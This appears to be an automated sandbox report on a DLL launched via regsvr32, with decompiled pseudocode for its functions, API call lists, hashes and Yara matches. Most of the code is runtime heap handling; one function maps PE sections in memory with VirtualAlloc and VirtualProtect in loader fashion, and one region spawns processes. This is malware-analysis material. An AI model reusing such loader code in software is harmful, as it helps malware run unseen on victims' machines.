						_t41 =  *_t22;
						__eflags = _t41;
						if(__eflags != 0) {
							_t69 = GlobalHandle(_t41);
							GlobalUnlock(_t69);
							_t44 = E100134F9(_t72, __eflags, _t88, 8);
							_t72 = 0x2002;
							_t45 = GlobalReAlloc(_t69, _t44, ??);
						} else {
							_t68 = E100134F9(_t72, __eflags, _t88, 8);
							_pop(_t72);
							_t45 = GlobalAlloc(2, _t68); // executed
						}
						__eflags = _t45;
						if(_t45 != 0) {
							_t70 = GlobalLock(_t45);
							_t25 = _t86 + 4; // 0x20
							__eflags = _t88 -  *_t25 << 3;
							E100174D0(_t82, _t70 +  *_t25 * 8, 0, _t88 -  *_t25 << 3);
							 *(_t86 + 4) = _t88;
							 *(_t86 + 0x10) = _t70;
							goto L20;
						} else {
							_t23 = _t86 + 0x10; // 0x2644820
							_t86 =  *_t23;
							__eflags = _t86;
							if(_t86 != 0) {
								GlobalLock(GlobalHandle(_t86));
							}
							LeaveCriticalSection(_v4);
							_push(_t88);
							_t90 = _t93;
							_push(_t72);
							_v28 = 0x10057168;
							E10017C83( &_v28, 0x1002e258);
							asm("int3");
							_push(_t90);
							_t91 = _t93;
							_push(_t72);
							_v36 = 0x10057200;
							E10017C83( &_v36, 0x1002e2b8);
							asm("int3");
							_push(_t91);
							_push(_t72);
							_v44 = 0x10057298;
							E10017C83( &_v44, 0x1002e2fc);
							asm("int3");
							_push(4);
							E10017BC1(E10027DEC, _t69, _t82, _t86);
							_t78 = E10013965(0x104);
							_v56 = _t78;
							_t64 = 0;
							_v44 = 0;
							if(_t78 != 0) {
								_t64 = E1000CF71(_t78);
							}
							return E10017C60(_t64);
						}
					} else {
						_t18 = _t86 + 0x10; // 0x2644820
						_t72 =  *_t18 + 8;
						__eflags = _t72;
						while(1) {
							__eflags =  *_t72 & 0x00000001;
							if(( *_t72 & 0x00000001) == 0) {
								break;
							}
							_t82 = _t82 + 1;
							_t72 = _t72 + 8;
							__eflags = _t82 - _t40;
							if(_t82 < _t40) {
								continue;
							}
							break;
						}
						__eflags = _t82 - _t40;
						if(_t82 < _t40) {
							goto L20;
						} else {
							goto L12;
						}
					}
				} else {
					_t13 = __esi + 0x10; // 0x2644820
					__ecx =  *_t13;
					__eflags =  *(__ecx + __edi * 8) & 0x00000001;
					if(( *(__ecx + __edi * 8) & 0x00000001) == 0) {
						L20:
						_t30 = _t86 + 0xc; // 0x3
						__eflags = _t82 -  *_t30;
						if(_t82 >=  *_t30) {
							_t31 = _t82 + 1; // 0x4
							 *((intOrPtr*)(_t86 + 0xc)) = _t31;
						}
						_t33 = _t86 + 0x10; // 0x2644820
						_t51 =  *_t33 + _t82 * 8;
						 *_t51 =  *_t51 | 0x00000001;
						__eflags =  *_t51;
						_t37 = _t82 + 1; // 0x4
						 *(_t86 + 8) = _t37;
						LeaveCriticalSection(_v4);
						return _t82;
					} else {
						goto L7;
					}
				}
			}

0x10013a9b
0x10013a9c
0x10013a9d
0x10013a9f
0x10013aa1
0x10013aa1
0x10013aa6
0x10013aaa
0x10013ab0
0x10013ab0
0x10013ab3
0x10013ab3
0x10013ab8
0x10013ac7
0x10013ac9
0x10013aca
0x10013acc
0x10013ae9
0x10013ae9
0x10013ae9
0x10013aec
0x10013aec
0x10013aef
0x10013af1
0x10013b0f
0x10013b12
0x10013b20
0x10013b26
0x10013b29
0x10013af3
0x10013af6
0x10013afc
0x10013b00
0x10013b00
0x10013b2f
0x10013b31
0x10013b5e
0x10013b60
0x10013b67
0x10013b71
0x10013b79
0x10013b7c
0x00000000
0x10013b33
0x10013b33
0x10013b33
0x10013b36
0x10013b38
0x10013b42
0x10013b42
0x10013b4c
0x1000a0a7
0x1000a0a8
0x1000a0aa
0x1000a0b4
0x1000a0bb
0x1000a0c0
0x1000a0c1
0x1000a0c2
0x1000a0c4
0x1000a0ce
0x1000a0d5
0x1000a0da
0x1000a0db
0x1000a0de
0x1000a0e8
0x1000a0ef
0x1000a0f4
0x1000a0f5
0x1000a0fc
0x1000a10b
0x1000a10d
0x1000a110
0x1000a114
0x1000a117
0x1000a119
0x1000a119
0x1000a123
0x1000a123
0x10013ace
0x10013ace
0x10013ad1
0x10013ad1
0x10013ad4
0x10013ad4
0x10013ad7
0x00000000
0x00000000
0x10013ad9
0x10013ada
0x10013add
0x10013adf
0x00000000
0x00000000
0x00000000
0x10013adf
0x10013ae1
0x10013ae3
0x00000000
0x00000000
0x00000000
0x00000000
0x10013ae3
0x10013aba
0x10013aba
0x10013aba
0x10013abd
0x10013ac1
0x10013b7f
0x10013b7f
0x10013b7f
0x10013b82
0x10013b84
0x10013b87
0x10013b87
0x10013b8a
0x10013b91
0x10013b94
0x10013b94
0x10013b97
0x10013b9a
0x10013b9d
0x10013baa
0x00000000
0x00000000
0x00000000
0x10013ac1

APIs

EnterCriticalSection.KERNEL32(1005AAA8,?,?,?,?,1005AA8C,10013DEC,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004), ref: 10013AAA
GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,1005AA8C,10013DEC,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10013B00
GlobalHandle.KERNEL32(02644820), ref: 10013B09
GlobalUnlock.KERNEL32(00000000,?,?,?,?,1005AA8C,10013DEC,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004), ref: 10013B12
GlobalReAlloc.KERNEL32 ref: 10013B29
GlobalHandle.KERNEL32(02644820), ref: 10013B3B
GlobalLock.KERNEL32 ref: 10013B42
LeaveCriticalSection.KERNEL32(?,?,?,?,?,1005AA8C,10013DEC,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004), ref: 10013B4C
GlobalLock.KERNEL32 ref: 10013B58
_memset.LIBCMT ref: 10013B71
LeaveCriticalSection.KERNEL32(?), ref: 10013B9D

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: Global$CriticalSection$AllocHandleLeaveLock$EnterUnlock_memset
String ID:
API String ID: 496899490-0
Opcode ID: db40230195121c03edd1d9de773089a9b398076d37fb16ef380e98a53d4696a6
Instruction ID: d2dedea389880cd6532a8cc41d1f31ca5a81082a511f3f96b23d25218acb7329
Opcode Fuzzy Hash: db40230195121c03edd1d9de773089a9b398076d37fb16ef380e98a53d4696a6
Instruction Fuzzy Hash: 5F31C1312043129FE720CF34CC8DA2A77E9FF84280B12891DE996C7651EB30F885CB10

Uniqueness

Uniqueness Score: -1.00%

Function 10016380, Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 27%

			E10016380(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t10;
				intOrPtr _t13;
				intOrPtr _t23;
				void* _t25;

				_push(0xc);
				_push(0x1002f780);
				_t8 = E1001984C(__ebx, __edi, __esi);
				_t23 =  *((intOrPtr*)(_t25 + 8));
				if(_t23 == 0) {
					L9:
					return E10019891(_t8);
				}
				if( *0x1005c984 != 3) {
					_push(_t23);
					L7:
					_push(0);
					_t8 = RtlFreeHeap( *0x1005ad4c); // executed
					_t31 = _t8;
					if(_t8 == 0) {
						_t10 = E10017D62(_t31);
						 *_t10 = E10017D27(GetLastError());
					}
					goto L9;
				}
				E1001A549(4);
				 *(_t25 - 4) =  *(_t25 - 4) & 0x00000000;
				_t13 = E1001A5C2(_t23);
				 *((intOrPtr*)(_t25 - 0x1c)) = _t13;
				if(_t13 != 0) {
					_push(_t23);
					_push(_t13);
					E1001A5ED();
				}
				 *(_t25 - 4) = 0xfffffffe;
				_t8 = E100163D6();
				if( *((intOrPtr*)(_t25 - 0x1c)) != 0) {
					goto L9;
				} else {
					_push( *((intOrPtr*)(_t25 + 8)));
					goto L7;
				}
			}

0x10016380
0x10016382
0x10016387
0x1001638c
0x10016391
0x10016408
0x1001640d
0x1001640d
0x1001639a
0x100163df
0x100163e0
0x100163e0
0x100163e8
0x100163ee
0x100163f0
0x100163f2
0x10016405
0x10016407
0x00000000
0x100163f0
0x1001639e
0x100163a4
0x100163a9
0x100163af
0x100163b4
0x100163b6
0x100163b7
0x100163b8
0x100163be
0x100163bf
0x100163c6
0x100163cf
0x00000000
0x100163d1
0x100163d1
0x00000000
0x100163d1

APIs

__lock.LIBCMT ref: 1001639E

Part of subcall function 1001A549: __mtinitlocknum.LIBCMT ref: 1001A55D
Part of subcall function 1001A549: __amsg_exit.LIBCMT ref: 1001A569
Part of subcall function 1001A549: EnterCriticalSection.KERNEL32(00000001,00000001,?,1001C014,0000000D,1002FA58,00000008,1001C106,00000001,?,?,00000001,?,?,10017AE8,00000001), ref: 1001A571

___sbh_find_block.LIBCMT ref: 100163A9
___sbh_free_block.LIBCMT ref: 100163B8
RtlFreeHeap.NTDLL(00000000,?,1002F780,0000000C,1001BF6A,00000000,?,1001E73B,?,00000001,00000001,1001A4D3,00000018,1002F8C0,0000000C,1001A562), ref: 100163E8
GetLastError.KERNEL32(?,1001E73B,?,00000001,00000001,1001A4D3,00000018,1002F8C0,0000000C,1001A562,00000001,00000001,?,1001C014,0000000D,1002FA58), ref: 100163F9

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 933a214dfe2b721a1172918ae6127c9818b4b1158d9b2876c596c2397cc5b652
Instruction ID: 632ebcc47bfd7d50c2ae726889ea94072d2ceb4c664f4e9832d4c107bd8c1e1e
Opcode Fuzzy Hash: 933a214dfe2b721a1172918ae6127c9818b4b1158d9b2876c596c2397cc5b652
Instruction Fuzzy Hash: EE01D635805326EBEF20DBB4AC0AB9D3BF4EF053A0F214109F554AE091CB34EAC19A64

Uniqueness

Uniqueness Score: -1.00%

Function 04242C24, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 71
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,2E751909,00000000,00000000,00534833,00000000,00000000,00000000,?,?), ref: 04242D02

Strings

3HS, xrefs: 04242C57

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: 3HS
API String ID: 963392458-330188696
Opcode ID: b0049691a906c617faab48a03f019d00495406e067b30e8a3afe4c22a13f3ee0
Instruction ID: 4d8a76cded7f56fda9462073c6063799b93c1516ea0d5c74921c4d714fa790c6
Opcode Fuzzy Hash: b0049691a906c617faab48a03f019d00495406e067b30e8a3afe4c22a13f3ee0
Instruction Fuzzy Hash: 0421F372900248BBCF159F96DD0ACDFBFB9EF85704F108188F915A2220C3B59A24DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 100021D0, Relevance: 3.1, APIs: 2, Instructions: 98
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E100021D0(intOrPtr __ecx, intOrPtr* _a4, void** _a8) {
				long _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				int _t67;

				_v28 = __ecx;
				if(_a8[2] != 0) {
					if((_a8[3] & 0x02000000) == 0) {
						asm("sbb ecx, ecx");
						_v16 =  ~( ~(_a8[3] & 0x20000000));
						asm("sbb eax, eax");
						_v24 =  ~( ~(_a8[3] & 0x40000000));
						asm("sbb edx, edx");
						_v12 =  ~( ~(_a8[3] & 0x80000000));
						_t39 = _v24 * 8; // 0x10056f20
						_v20 =  *((intOrPtr*)((_v16 << 4) + _t39 + 0x10056f20 + _v12 * 4));
						if((_a8[3] & 0x04000000) != 0) {
							_v20 = _v20 | 0x00000200;
						}
						_t67 = VirtualProtect( *_a8, _a8[2], _v20,  &_v8); // executed
						if(_t67 != 0) {
							return 1;
						} else {
							return 0;
						}
					}
					if( *_a8 == _a8[1] && (_a8[4] != 0 ||  *((intOrPtr*)( *_a4 + 0x38)) ==  *(_a4 + 0x30) || _a8[2] %  *(_a4 + 0x30) == 0)) {
						VirtualFree( *_a8, _a8[2], 0x4000); // executed
					}
					return 1;
				}
				return 1;
			}

0x100021d6
0x100021e0
0x100021f8
0x10002262
0x10002266
0x10002276
0x1000227a
0x1000228b
0x1000228f
0x1000229b
0x100022a8
0x100022b6
0x100022c1
0x100022c1
0x100022d9
0x100022e1
0x00000000
0x100022e3
0x00000000
0x100022e3
0x100022e1
0x10002205
0x10002244
0x10002244
0x00000000
0x1000224a
0x00000000

APIs

VirtualFree.KERNELBASE(00000000,?,00004000,?,10002468,00000001,00000000,?,10002C68,?,?,?,?,10002C68,00000000,00000000), ref: 10002244

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 47f32b032b7fce0672a30d9b107070a1881b22e5365e79d9d7a5c7562cbc9459
Instruction ID: def7816fd77fd5aef653724919a03fde70f7e86383ff2ba96e4cf8bb5acc80b5
Opcode Fuzzy Hash: 47f32b032b7fce0672a30d9b107070a1881b22e5365e79d9d7a5c7562cbc9459
Instruction Fuzzy Hash: 5A41B674600109AFEB44CF98C890BA9B7B6FB88350F25C659EC1A9F395C731EE41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 1001A305, Relevance: 3.0, APIs: 2, Instructions: 28
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E1001A305(intOrPtr _a4) {
				void* _t6;
				intOrPtr _t7;
				void* _t10;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x1005ad4c = _t6;
				if(_t6 != 0) {
					_t7 = E1001A2AA(__eflags);
					__eflags = _t7 - 3;
					 *0x1005c984 = _t7;
					if(_t7 != 3) {
						L5:
						__eflags = 1;
						return 1;
					} else {
						_t10 = E1001A57A(0x3f8);
						__eflags = _t10;
						if(_t10 != 0) {
							goto L5;
						} else {
							HeapDestroy( *0x1005ad4c);
							 *0x1005ad4c =  *0x1005ad4c & 0x00000000;
							goto L1;
						}
					}
				} else {
					L1:
					return 0;
				}
			}

0x1001a316
0x1001a31e
0x1001a323
0x1001a328
0x1001a32d
0x1001a330
0x1001a335
0x1001a35b
0x1001a35d
0x1001a35e
0x1001a337
0x1001a33c
0x1001a341
0x1001a344
0x00000000
0x1001a346
0x1001a34c
0x1001a352
0x00000000
0x1001a352
0x1001a344
0x1001a325
0x1001a325
0x1001a327
0x1001a327

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,1001796A,00000001,?,?,00000001,?,?,10017AE8,00000001,?,?,1002F840,0000000C), ref: 1001A316
HeapDestroy.KERNEL32(?,?,00000001,?,?,10017AE8,00000001,?,?,1002F840,0000000C,10017BA2,?), ref: 1001A34C

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: Heap$CreateDestroy
String ID:
API String ID: 3296620671-0
Opcode ID: 2498113e0f0cb93b929c98f8b50cab2ed5fb389832bb0c331937e648ce874443
Instruction ID: 8ebff57b685a6f4636b50d0b354dfd0ee4d70228ae444a146c3f0929ed30e208
Opcode Fuzzy Hash: 2498113e0f0cb93b929c98f8b50cab2ed5fb389832bb0c331937e648ce874443
Instruction Fuzzy Hash: 93E06D71A193569EFB10AB308C9972536F4EB46386F104826F911CD4A0F7B0C6C09A01

Uniqueness

Uniqueness Score: -1.00%

Function 10002010, Relevance: 2.6, APIs: 2, Instructions: 115
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E10002010(intOrPtr __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				void* _v12;
				long _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				void* _t76;
				void* _t127;

				_v28 = __ecx;
				_t3 = _a16 + 4; // 0x104e9
				_v20 =  *_t3;
				_t7 =  *_a16 + 0x14; // 0x4a8bb445
				_t9 = ( *_t7 & 0x0000ffff) + 0x18; // 0x10002c17
				_v24 =  *_a16 + _t9;
				_v8 = 0;
				while(1) {
					_t17 =  *_a16 + 6; // 0xe9000001
					if(_v8 >= ( *_t17 & 0x0000ffff)) {
						break;
					}
					if( *(_v24 + 0x10) != 0) {
						_t41 = _v24 + 0x14; // 0x4a8bb445
						_t43 = _v24 + 0x10; // 0x8b118bbc
						if(E10001FE0(_v28, _a8,  *_t41 +  *_t43) != 0) {
							_t47 = _v24 + 0x10; // 0x8b118bbc
							_t50 = _v24 + 0xc; // 0x4d8b0000
							_t76 = VirtualAlloc(_v20 +  *_t50,  *_t47, 0x1000, 4); // executed
							_v12 = _t76;
							if(_v12 != 0) {
								_t55 = _v24 + 0xc; // 0x4d8b0000
								_v12 = _v20 +  *_t55;
								_t58 = _v24 + 0x10; // 0x8b118bbc
								_t61 = _v24 + 0x14; // 0x4a8bb445
								E10001E60(_v12, _a4 +  *_t61,  *_t58);
								_t127 = _t127 + 0xc;
								 *((intOrPtr*)(_v24 + 8)) = _v12;
								L1:
								_v8 = _v8 + 1;
								_v24 = _v24 + 0x28;
								continue;
							}
							return 0;
						}
						return 0;
					}
					_v16 =  *((intOrPtr*)(_a12 + 0x38));
					if(_v16 <= 0) {
						L8:
						goto L1;
					}
					_t28 = _v24 + 0xc; // 0x4d8b0000
					_v12 = VirtualAlloc(_v20 +  *_t28, _v16, 0x1000, 4);
					if(_v12 != 0) {
						_t33 = _v24 + 0xc; // 0x4d8b0000
						_v12 = _v20 +  *_t33;
						 *((intOrPtr*)(_v24 + 8)) = _v12;
						E10001E10(_v12, 0, _v16);
						_t127 = _t127 + 0xc;
						goto L8;
					}
					return 0;
				}
				return 1;
			}

0x10002016
0x1000201c
0x1000201f
0x1000202c
0x10002030
0x10002034
0x10002037
0x10002052
0x10002057
0x1000205e
0x00000000
0x00000000
0x1000206b
0x100020d6
0x100020dc
0x100020ee
0x100020fe
0x10002108
0x1000210c
0x10002112
0x10002119
0x10002125
0x10002128
0x1000212e
0x10002138
0x10002140
0x10002145
0x1000214e
0x10002040
0x10002046
0x1000204f
0x00000000
0x1000204f
0x00000000
0x1000211b
0x00000000
0x100020f0
0x10002073
0x1000207a
0x100020ce
0x00000000
0x100020ce
0x1000208d
0x10002097
0x1000209e
0x100020ad
0x100020b0
0x100020b9
0x100020c6
0x100020cb
0x00000000
0x100020cb
0x00000000
0x100020a0
0x00000000

APIs

VirtualAlloc.KERNEL32(4D8B0000,00000000,00001000,00000004,?,10002BFF,00000000), ref: 10002091
VirtualAlloc.KERNELBASE(4D8B0000,8B118BBC,00001000,00000004,10008AC6,8B118BBC,?,10002BFF,00000000,10008AC6,?), ref: 1000210C

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1f005b19e3c441fc20b6c29efe2afaeec2d3b558fdbd29b30d99f40439f16acf
Instruction ID: c265c5d024e1aaa08d03296b5d335ffe068feccc9d90f6e2fd2d76d71ec68577
Opcode Fuzzy Hash: 1f005b19e3c441fc20b6c29efe2afaeec2d3b558fdbd29b30d99f40439f16acf
Instruction Fuzzy Hash: 4E51DEB4A0020ADFDB04CF94C591AAEB7F1FF48344F208598E915AB355D771EE91CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 10008860, Relevance: 1.5, APIs: 1, Instructions: 41
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 1000886B

Part of subcall function 1001703B: __FF_MSGBANNER.LIBCMT ref: 1001705E
Part of subcall function 1001703B: __NMSG_WRITE.LIBCMT ref: 10017065
Part of subcall function 1001703B: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,1001E73B,?,00000001,00000001,1001A4D3,00000018,1002F8C0,0000000C,1001A562,00000001), ref: 100170B3

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: 40bd655b06e48b04370c20bd75be719fcb86c010ff12dc3827a327f63544bac9
Instruction ID: 9e6909d06ecd8ca97a2f758cde8d66f904c366c92fb4d9c13ba1bad92c8ee0bf
Opcode Fuzzy Hash: 40bd655b06e48b04370c20bd75be719fcb86c010ff12dc3827a327f63544bac9
Instruction Fuzzy Hash: 9A0178B4D0424CEFEB00CFA4C8446AEBBB4FB04354F60C8A9D9516B349E735AB00DB81

Uniqueness

Uniqueness Score: -1.00%

Function 0423D11A, Relevance: 1.5, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000), ref: 0423D1B6

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 67c658d72cc930f45ab36e019061580956781c758de54a32820380ba4476f13f
Instruction ID: b729c7b838271133a1183f8ca643694d46e236ed8f6bf8774ed44d4b8f568e56
Opcode Fuzzy Hash: 67c658d72cc930f45ab36e019061580956781c758de54a32820380ba4476f13f
Instruction Fuzzy Hash: CC11D0B1C4430DEBDB54DFE5DA4A69EBBB0EB00749F108588D521B6250D3B89A489F91

Uniqueness

Uniqueness Score: -1.00%

Function 0424061D, Relevance: 1.3, APIs: 1, Instructions: 52
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcmpiW.KERNELBASE(410F7A13,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 042406E5

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: ef59b29d425997034e4fed527bf505b0074c5b4e8b9fa1c114afddacbc91d9b0
Instruction ID: 023cd9960dbff3c8415a083734bb8b82ef052b27f34e2725704b441041e69ddc
Opcode Fuzzy Hash: ef59b29d425997034e4fed527bf505b0074c5b4e8b9fa1c114afddacbc91d9b0
Instruction Fuzzy Hash: D42130B1C00309BBCF04DFA8D9899DEBFB4FB20354F108298E429A2251D3B49B00CF90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 04228636, Relevance: 39.9, Strings: 31, Instructions: 1175
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E04228636() {
				signed int _v12;
				signed int _v20;
				intOrPtr _v24;
				signed int _v44;
				char _v56;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				char _v100;
				char _v108;
				signed int _v144;
				char _v152;
				char _v160;
				char _v164;
				char _v168;
				char _v172;
				char _v176;
				signed int _v180;
				signed int _v184;
				unsigned int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				unsigned int _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				unsigned int _v268;
				unsigned int _v272;
				signed int _v276;
				signed int _v280;
				signed int _v284;
				signed int _v288;
				signed int _v292;
				signed int _v296;
				signed int _v300;
				signed int _v304;
				signed int _v308;
				signed int _v312;
				signed int _v316;
				signed int _v320;
				signed int _v324;
				signed int _v328;
				signed int _v332;
				unsigned int _v336;
				signed int _v340;
				signed int _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				signed int _v360;
				signed int _v364;
				signed int _v368;
				signed int _v372;
				signed int _v376;
				signed int _v380;
				signed int _v384;
				signed int _v388;
				signed int _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				signed int _v408;
				signed int _v412;
				signed int _v416;
				signed int _v420;
				signed int _v424;
				signed int _v428;
				signed int _v432;
				signed int _v436;
				signed int _v440;
				signed int _v444;
				unsigned int _v448;
				signed int _v452;
				signed int _v456;
				signed int _v460;
				signed int _v464;
				signed int _v468;
				signed int _v472;
				signed int _v476;
				signed int _v480;
				signed int _v484;
				unsigned int _v488;
				signed int _v492;
				signed int _v496;
				signed int _v500;
				signed int _v504;
				signed int _v508;
				signed int _v512;
				signed int _v516;
				signed int _v520;
				signed int _v524;
				unsigned int _v528;
				signed int _v532;
				signed int _v536;
				signed int _v540;
				signed int _v544;
				signed int _v548;
				signed int _v552;
				unsigned int _v556;
				signed int _v560;
				signed int _v564;
				signed int _v568;
				signed int _v572;
				signed int _v576;
				signed int _v580;
				signed int _v584;
				unsigned int _v588;
				signed int _v592;
				signed int _v596;
				signed int _v600;
				signed int _v604;
				signed int _v608;
				signed int _v612;
				signed int _v616;
				unsigned int _v620;
				signed int _v624;
				signed int _v628;
				signed int _v632;
				signed int _v636;
				signed int _v640;
				signed int _v644;
